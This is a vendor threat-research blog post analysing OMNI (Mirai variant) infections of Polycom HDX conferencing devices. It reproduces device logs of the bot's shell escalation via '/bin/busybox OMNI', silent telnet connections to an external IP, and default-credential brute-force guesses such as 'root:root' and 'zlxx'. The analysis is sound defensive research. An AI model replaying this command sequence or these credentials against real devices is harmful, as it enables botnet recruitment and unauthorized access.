Die Zukunft von Zero Trust und SASE ist jetzt! On-Demand ansehen

Schließen
Schließen
  • Warum Netskope? Chevron

    Verändern Sie die Art und Weise, wie Netzwerke und Sicherheit zusammenarbeiten.

  • Unsere Kunden Chevron

    Netskope bedient mehr als 3.000 Kunden weltweit, darunter mehr als 25 der Fortune 100

  • Unsere Partner Chevron

    Unsere Partnerschaften helfen Ihnen, Ihren Weg in die Cloud zu sichern.

Am besten in der Ausführung. Am besten in Sachen Vision.

Im 2023 Gartner® Magic Quadrant™ für SSE wurde Netskope als führender Anbieter ausgezeichnet.

Report abrufen
Im 2023 Gartner® Magic Quadrant™ für SSE wurde Netskope als führender Anbieter ausgezeichnet.
Wir helfen unseren Kunden, auf alles vorbereitet zu sein

Unsere Kunden
Lächelnde Frau mit Brille schaut aus dem Fenster
Die partnerorientierte Markteinführungsstrategie von Netskope ermöglicht es unseren Partnern, ihr Wachstum und ihre Rentabilität zu maximieren und gleichzeitig die Unternehmenssicherheit an neue Anforderungen anzupassen.

Erfahren Sie mehr über Netskope-Partner
Gruppe junger, lächelnder Berufstätiger mit unterschiedlicher Herkunft
Ihr Netzwerk von morgen

Planen Sie Ihren Weg zu einem schnelleren, sichereren und widerstandsfähigeren Netzwerk, das auf die von Ihnen unterstützten Anwendungen und Benutzer zugeschnitten ist.

Whitepaper lesen
Ihr Netzwerk von morgen
Vorstellung der Netskope One-Plattform

Netskope One ist eine cloudnative Plattform, die konvergierte Sicherheits- und Netzwerkdienste bietet, um Ihre SASE- und Zero-Trust-Transformation zu ermöglichen.

Erfahren Sie mehr über Netskope One
Abstrakt mit blauer Beleuchtung
Nutzen Sie eine Secure Access Service Edge (SASE)-Architektur

Netskope NewEdge ist die weltweit größte und leistungsstärkste private Sicherheits-Cloud und bietet Kunden eine beispiellose Serviceabdeckung, Leistung und Ausfallsicherheit.

Mehr über NewEdge erfahren
NewEdge
Netskope Cloud Exchange

Cloud Exchange (CE) von Netskope gibt Ihren Kunden leistungsstarke Integrationstools an die Hand, mit denen sie in jeden Aspekt ihres Sicherheitsstatus investieren können.

Erfahren Sie mehr über Cloud Exchange
Netskope-Video
  • Edge-Produkte von Security Service Chevron

    Schützen Sie sich vor fortgeschrittenen und cloudfähigen Bedrohungen und schützen Sie Daten über alle Vektoren hinweg.

  • Borderless SD-WAN Chevron

    Stellen Sie selbstbewusst sicheren, leistungsstarken Zugriff auf jeden Remote-Benutzer, jedes Gerät, jeden Standort und jede Cloud bereit.

  • Secure Access Service Edge Chevron

    Netskope One SASE bietet eine Cloud-native, vollständig konvergente SASE-Lösung eines einzelnen Anbieters.

Die Plattform der Zukunft heißt Netskope

Intelligent Security Service Edge (SSE), Cloud Access Security Broker (CASB), Cloud Firewall, Next Generation Secure Web Gateway (SWG) und Private Access for ZTNA sind nativ in einer einzigen Lösung integriert, um jedes Unternehmen auf seinem Weg zum Secure Access Service zu unterstützen Edge (SASE)-Architektur.

Netskope Produktübersicht
Netskope-Video
Next Gen SASE Branch ist hybrid – verbunden, sicher und automatisiert

Netskope Next Gen SASE Branch vereint kontextsensitives SASE Fabric, Zero-Trust Hybrid Security und SkopeAI-Powered Cloud Orchestrator in einem einheitlichen Cloud-Angebot und führt so zu einem vollständig modernisierten Branch-Erlebnis für das grenzenlose Unternehmen.

Erfahren Sie mehr über Next Gen SASE Branch
Menschen im Großraumbüro
Entwerfen einer SASE-Architektur für Dummies

Holen Sie sich Ihr kostenloses Exemplar des einzigen Leitfadens zum SASE-Design, den Sie jemals benötigen werden.

Jetzt das E-Book lesen
Steigen Sie auf marktführende Cloud-Security Service mit minimaler Latenz und hoher Zuverlässigkeit um.

Mehr über NewEdge erfahren
Beleuchtete Schnellstraße mit Serpentinen durch die Berge
Ermöglichen Sie die sichere Nutzung generativer KI-Anwendungen mit Anwendungszugriffskontrolle, Benutzercoaching in Echtzeit und erstklassigem Datenschutz.

Erfahren Sie, wie wir den Einsatz generativer KI sichern
ChatGPT und Generative AI sicher aktivieren
Zero-Trust-Lösungen für SSE- und SASE-Deployments

Erfahren Sie mehr über Zero Trust
Bootsfahrt auf dem offenen Meer
Netskope erhält die FedRAMP High Authorization

Wählen Sie Netskope GovCloud, um die Transformation Ihrer Agentur zu beschleunigen.

Erfahren Sie mehr über Netskope GovCloud
Netskope GovCloud
  • Ressourcen Chevron

    Erfahren Sie mehr darüber, wie Netskope Ihnen helfen kann, Ihre Reise in die Cloud zu sichern.

  • Blog Chevron

    Erfahren Sie, wie Netskope die Sicherheits- und Netzwerktransformation durch Security Service Edge (SSE) ermöglicht

  • Events und Workshops Chevron

    Bleiben Sie den neuesten Sicherheitstrends immer einen Schritt voraus und tauschen Sie sich mit Gleichgesinnten aus

  • Security Defined Chevron

    Finden Sie alles was Sie wissen müssen in unserer Cybersicherheits-Enzyklopädie.

Security Visionaries Podcast

Zero Trust: Es ist mehr als nur Identität
In dieser Folge untersucht Moderatorin Emily Wearmouth das Konzept von Zero Trust zusammen mit den Cybersicherheitsexperten John Kindervag, dem „Pate von Zero Trust“, und Neil Thacker.

Podcast abspielen
Zero Trust: Es ist mehr als nur Identität
Neueste Blogs

Lesen Sie, wie Netskope die Zero Trust- und SASE-Reise durch Security Service Edge (SSE)-Funktionen ermöglichen kann.

Den Blog lesen
Sonnenaufgang und bewölkter Himmel
SASE Week 2023: Ihre SASE-Reise beginnt jetzt!

Wiederholungssitzungen der vierten jährlichen SASE Week.

Entdecken Sie Sitzungen
SASE Week 2023
Was ist Security Service Edge?

Entdecken Sie die Sicherheitselemente von SASE, die Zukunft des Netzwerks und der Security in der Cloud.

Erfahren Sie mehr über Security Service Edge
Kreisverkehr mit vier Straßen
  • Unternehmen Chevron

    Wir helfen Ihnen, den Herausforderungen der Cloud-, Daten- und Netzwerksicherheit einen Schritt voraus zu sein.

  • Leadership Chevron

    Unser Leadership-Team ist fest entschlossen, alles zu tun, was nötig ist, damit unsere Kunden erfolgreich sind.

  • Kundenlösungen Chevron

    Wir sind für Sie da, stehen Ihnen bei jedem Schritt zur Seite und sorgen für Ihren Erfolg mit Netskope.

  • Schulung und Zertifizierung Chevron

    Netskope-Schulungen helfen Ihnen ein Experte für Cloud-Sicherheit zu werden.

Unterstützung der Nachhaltigkeit durch Datensicherheit

Netskope ist stolz darauf, an Vision 2045 teilzunehmen: einer Initiative, die darauf abzielt, das Bewusstsein für die Rolle der Privatwirtschaft bei der Nachhaltigkeit zu schärfen.

Finde mehr heraus
Unterstützung der Nachhaltigkeit durch Datensicherheit
Denker, Architekten, Träumer, Innovatoren. Gemeinsam liefern wir hochmoderne Cloud-Sicherheitslösungen, die unseren Kunden helfen, ihre Daten und Mitarbeiter zu schützen.

Lernen Sie unser Team kennen
Gruppe von Wanderern erklimmt einen verschneiten Berg
Das talentierte und erfahrene Professional Services-Team von Netskope bietet einen präskriptiven Ansatz für Ihre erfolgreiche Implementierung.

Erfahren Sie mehr über professionelle Dienstleistungen
Netskope Professional Services
Mit Netskope-Schulungen können Sie Ihre digitale Transformation absichern und das Beste aus Ihrer Cloud, dem Web und Ihren privaten Anwendungen machen.

Erfahren Sie mehr über Schulungen und Zertifizierungen
Gruppe junger Berufstätiger bei der Arbeit

OMNI (MIRAI variant) Botnet Infections Detected in Polycom Video Conferencing Devices

Oct 26 2020

Overview

Mirai botnet has been used to infect IoT devices at large scale to perform unauthorized operations. Mirai botnet is formed by exploiting vulnerabilities, weak configurations, insecure authentication, etc. in the IoT devices. The compromised IoT devices are then used to nefarious operations such as launch Brute-force attacks, Distributed Denial of Service (DDoS) attacks, turning IoT device into a proxy server and others. Mirai botnet was the major source of launching DDoS against Dyn DNS solution provider. In this research note, WITL detected OMNI (Mirai variant) infected PolyCom video conferencing devices during in-house research and the devices are still infected with this botnet on the Internet.

The research was targeted against PolyCom HDX devices.

Analysis

It has been found that the PolyCom devices are shipped with BusyBox, Wget, and other  binaries. Mirai (and variants) extensively use the binaries such as BusyBox, Wget, and other for performing different set of operations.  OMNI (Mirai Botnet) has been used to infect GPON routers using CVE-2018-10561 vulnerability. However, WITL noticed OMNI infections in the PolyCom HDX systems.

BusyBox is considered as Swiss Army knife for embedded systems. As per the BusyBox documentation – BusyBox combines tiny versions of many common UNIX utilities into a single small executable. It provides replacements for most of the utilities you usually find in GNU fileutils, shellutils, etc. The utilities in BusyBox generally have fewer options than their full-featured GNU cousins; however, the options that are included provide the expected functionality and behave very much like their GNU counterparts. BusyBox provides a fairly complete environment for any small or embedded system.

OMNI bot recon phase with  brute-force attack execution (DEBUG logs generated from the Polycom device) is discussed below:

  1. The OMNI bot triggers the “enable” command
  2. After that, “system” command is executed
  3. Once the “system” command is executed, the “sh” command is triggered to obtain the shell access so that specific binary can be executed
  4. After entering the shell with “sh”,  The OMNI bot calls its main functions by loading the “/bin/busybox” with OMNI as “/bin/busybox/ OMNI”

The communication is highlighted below:

2018-07-01 14:49:02 DEBUG avc: pc[0]: uimsg: C: enable

2018-07-01 14:49:02 DEBUG avc: pc[0]: appcom: api_command: pid:1181 2 enable

2018-07-01 14:49:03 DEBUG avc: pc[0]: appcom: legacy_api_command: 2 enable 1

2018-07-01 14:49:03 DEBUG avc: pc[0]: api: legacy_api_c_command: enable

2018-07-01 14:49:03 DEBUG avc: pc[0]: standardCmndHandler(…)

2018-07-01 14:49:03 DEBUG avc: pc[0]: legacy_api: legacy_api_c_command succeeded


2018-07-01 14:49:04 DEBUG avc: pc[0]: uimsg: C: system

2018-07-01 14:49:04 DEBUG avc: pc[0]: appcom: api_command: pid:1181 2 system

2018-07-01 14:49:04 DEBUG avc: pc[0]: appcom: legacy_api_command: 2 system 1

2018-07-01 14:49:04 DEBUG avc: pc[0]: appcom: java_api_command: pid:1181 2 system

2018-07-01 14:49:04 DEBUG avc: pc[0]: “system” – takes at least one argument


2018-07-01 14:49:05 DEBUG avc: pc[0]: uimsg: C: sh

2018-07-01 14:49:05 DEBUG avc: pc[0]: appcom: api_command: pid:1181 2 sh

2018-07-01 14:49:05 DEBUG avc: pc[0]: appcom: legacy_api_command: 2 sh 1

2018-07-01 14:49:06 DEBUG avc: pc[0]: appcom: java_api_command: pid:1181 2 sh

2018-07-01 14:49:06 DEBUG avc: pc[0]: Usage: sh_button <“button” <up|down> | help>

2018-07-01 14:49:06 DEBUG avc: pc[0]: uimsg: C: /bin/busybox OMNI

2018-07-01 14:49:06 DEBUG avc: pc[0]: appcom: api_command: pid:1181 2 /bin/busybox OMNI

2018-07-01 14:49:06 DEBUG avc: pc[0]: appcom: legacy_api_command: 2 /bin/busybox OMNI 1

2018-07-01 14:49:06 DEBUG avc: pc[0]: appcom: java_api_command: pid:1181 2 /bin/busybox OMNI


2018-07-01 14:49:09 INFO avc: pc[0]: config: synching filesystem

2018-07-01 14:49:09 INFO avc: pc[0]: config: sync complete 327ms

2018-07-01 14:49:40 DEBUG avc: pc[0]: XCOM:WARNING:remote socket closed

2018-07-01 14:49:40 WARNING avc: pc[0]: appcom: psh session closed socket abruptly

2018-07-01 14:49:40 DEBUG avc: pc[0]: appcom: unregister_api_session 2

2018-07-01 14:49:41 DEBUG avc: pc[0]: uimsg: R: telnet /tmp/apiasynclisteners/psh0

2018-07-01 14:49:41 DEBUG avc: pc[0]: appcom: allocate_session(fd=106)

2018-07-01 14:49:41 DEBUG avc: pc[0]: appcom: register_api_session new_session_p=675763d8

2018-07-01 14:49:41 DEBUG avc: pc[0]: appcom: add_session(session_p:675763d8)

2018-07-01 14:49:41 DEBUG avc: pc[0]: appcom: about to call sendJavaMessageEx

2018-07-01 14:49:41 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: createSession(type: telnet sess: 2

2018-07-01 14:49:41 DEBUG avc: pc[0]: appcom: session 2 registered
  1. Once the primary “/bin/busybox/ OMNI” is loaded, it triggers the brute-force attacks as explained below:
    1. A command is executed as “execwithoutecho systemsetting telnet_client_”
      1. The “execwithoutecho” executes the command without throwing any notification or output via echo.
      2. The command executed is “telnet_client” which opens connection to remote IP running telnet service
      3. The “OMNI” bot then uses combination of username and password as strings. In the DEBUG logs presented below, it started with “root:root”, “zlxx:zlxx”

 The communication logs are shown below:

2018-07-01 14:49:41 DEBUG avc: pc[0]: uimsg: E: execwithoutecho systemsetting telnet_client_23 188.18.131.63

2018-07-01 14:49:41 DEBUG avc: pc[0]: appcom: legacy_api_command: 2 execwithoutecho systemsetting telnet_client_23 188.18.131.63 1


2018-07-01 14:49:41 DEBUG avc: pc[0]: appcom: java_api_command: pid:1181 2 execwithoutecho systemsetting telnet_client_23 188.18.131.63

2018-07-01 14:49:41 DEBUG avc: pc[0]: appcom: java_api_command succeeded (sess:2)

2018-07-01 14:49:41 DEBUG avc: pc[0]: uimsg: E: execwithoutecho systemsetting telnet_client_23_success True

2018-07-01 14:49:41 DEBUG avc: pc[0]: appcom: legacy_api_command: 2 execwithoutecho systemsetting telnet_client_23_success True 1

2018-07-01 14:49:41 DEBUG avc: pc[0]: appcom: java_api_command: pid:1181 2 execwithoutecho systemsetting telnet_client_23_success True

2018-07-01 14:49:41 DEBUG avc: pc[0]: appcom: java_api_command succeeded (sess:2)


2018-07-01 14:49:41 DEBUG avc: pc[0]: uimsg: C: root

2018-07-01 14:49:41 DEBUG avc: pc[0]: appcom: api_command: pid:1181 2 root

2018-07-01 14:49:41 DEBUG avc: pc[0]: appcom: legacy_api_command: 2 root 1

2018-07-01 14:49:41 DEBUG avc: pc[0]: appcom: java_api_command: pid:1181 2 root


2018-07-01 14:49:42 DEBUG avc: pc[0]: uimsg: C: zlxx.

2018-07-01 14:49:42 DEBUG avc: pc[0]: appcom: api_command: pid:1181 2 zlxx.

2018-07-01 14:49:42 DEBUG avc: pc[0]: appcom: legacy_api_command: 2 zlxx. 1

2018-07-01 14:49:42 DEBUG avc: pc[0]: appcom: java_api_command: pid:1181 2 zlxx.

After trying few combinations of username and password, the process is repeated again as shown below:

2018-07-01 14:49:43 DEBUG avc: pc[0]: uimsg: C: enable

2018-07-01 14:49:43 DEBUG avc: pc[0]: appcom: api_command: pid:1181 2 enable

2018-07-01 14:49:43 DEBUG avc: pc[0]: appcom: legacy_api_command: 2 enable 1

2018-07-01 14:49:43 DEBUG avc: pc[0]: api: legacy_api_c_command: enable

2018-07-01 14:49:43 DEBUG avc: pc[0]: standardCmndHandler(…)

2018-07-01 14:49:43 DEBUG avc: pc[0]: legacy_api: legacy_api_c_command succeeded


2018-07-01 14:49:43 DEBUG avc: pc[0]: uimsg: C: system

2018-07-01 14:49:43 DEBUG avc: pc[0]: appcom: api_command: pid:1181 2 system

2018-07-01 14:49:43 DEBUG avc: pc[0]: appcom: legacy_api_command: 2 system 1

2018-07-01 14:49:43 DEBUG avc: pc[0]: appcom: java_api_command: pid:1181 2 system

2018-07-01 14:49:43 DEBUG avc: pc[0]: “system” – takes at least one argument

2018-07-01 14:49:45 DEBUG avc: pc[0]: uimsg: C: sh

2018-07-01 14:49:45 DEBUG avc: pc[0]: appcom: api_command: pid:1181 2 sh

2018-07-01 14:49:45 DEBUG avc: pc[0]: appcom: legacy_api_command: 2 sh 1

2018-07-01 14:49:45 DEBUG avc: pc[0]: appcom: java_api_command: pid:1181 2 sh

2018-07-01 14:49:45 DEBUG avc: pc[0]: Usage: sh_button <“button” <up|down> | help>

2018-07-01 14:49:45 DEBUG avc: pc[0]: uimsg: C: /bin/busybox OMNI

2018-07-01 14:49:45 DEBUG avc: pc[0]: appcom: api_command: pid:1181 2 /bin/busybox OMNI

2018-07-01 14:49:45 DEBUG avc: pc[0]: appcom: legacy_api_command: 2 /bin/busybox OMNI 1

2018-07-01 14:49:45 DEBUG avc: pc[0]: appcom: java_api_command: pid:1181 2 /bin/busybox OMNI

2018-07-01 14:50:16 DEBUG avc: pc[0]: uimsg: E: execwithoutecho systemsetting telnet_client_23

2018-07-01 14:50:57 DEBUG avc: pc[0]: appcom: legacy_api_command: 2 execwithoutecho systemsetting telnet_client_23 188.18.131.63 1

2018-07-01 14:50:57 DEBUG avc: pc[0]: appcom: java_api_command: pid:1181 2 execwithoutecho systemsetting telnet_client_23 188.18.131.63

2018-07-01 14:50:57 DEBUG avc: pc[0]: appcom: java_api_command succeeded (sess:2)

2018-07-01 14:50:57 DEBUG avc: pc[0]: uimsg: E: execwithoutecho systemsetting telnet_client_23_success True

2018-07-01 14:50:57 DEBUG avc: pc[0]: appcom: legacy_api_command: 2 execwithoutecho systemsetting telnet_client_23_success True 1

2018-07-01 14:50:57 DEBUG avc: pc[0]: appcom: java_api_command: pid:1181 2 execwithoutecho systemsetting telnet_client_23_success True

2018-07-01 14:50:57 DEBUG avc: pc[0]: appcom: java_api_command succeeded (sess:2)

2018-07-01 14:50:57 DEBUG avc: pc[0]: uimsg: C: adm

2018-07-01 14:50:57 DEBUG avc: pc[0]: appcom: api_command: pid:1181 2 adm

2018-07-01 14:50:57 DEBUG avc: pc[0]: appcom: legacy_api_command: 2 adm 1

2018-07-01 14:50:57 DEBUG avc: pc[0]: appcom: java_api_command: pid:1181 2 adm

— [Truncated] — 

If the DEBUG logs are dissected in detail, it can be noticed that the “appcom:ap_command”, “appcom:legacy_api_command”, “appcom:java_api_command” are primarily belong to the AVC binary.  A number of artefacts related to SVC/AVC are discussed below:

  • H.264 Advanced Video Coding (AVC), an efficient and high-performance standard that is used by most of today’s video conferencing devices.
  • H.264 Scalable Video Coding (SVC) is an extension to H.264 Advanced Video Coding (AVC)
  • Scalable Video Coding (SVC) is a newer form of video compression which dynamically adjusts the frame rate or resolution in real-time based on varying network conditions
  • SVC is preferred to deploy a soft video client for entire organization on a shared network that is shared by many other applications. However, AVC is preferred for a more controlled network environment where QoS can be implemented to ensure a time-sensitive data
  • SVC/AVC provides an API interface or related functions that are utilized by attackers to execute certain commands.

Inferences

  • Polycom HDX devices for audio/video conferencing have been found to be infected with OMNI botnet, a variant of MIRAI
  • The attackers are harnessing the power of open-source software packages such as “BusyBox”, WGet”, and others that are shipped with the embedded firmware of the Polycom devices.
  • Compromised Polycom devices are used to launch brute-force attacks, potential DDoS attacks and also been used as proxy devices for routing malicious communications such as Command and Control (C&C).
  • APIs supported by Polycom are abused by the attackers for performing operations in the device

Stay informed!

Subscribe for the latest from the Netskope Blog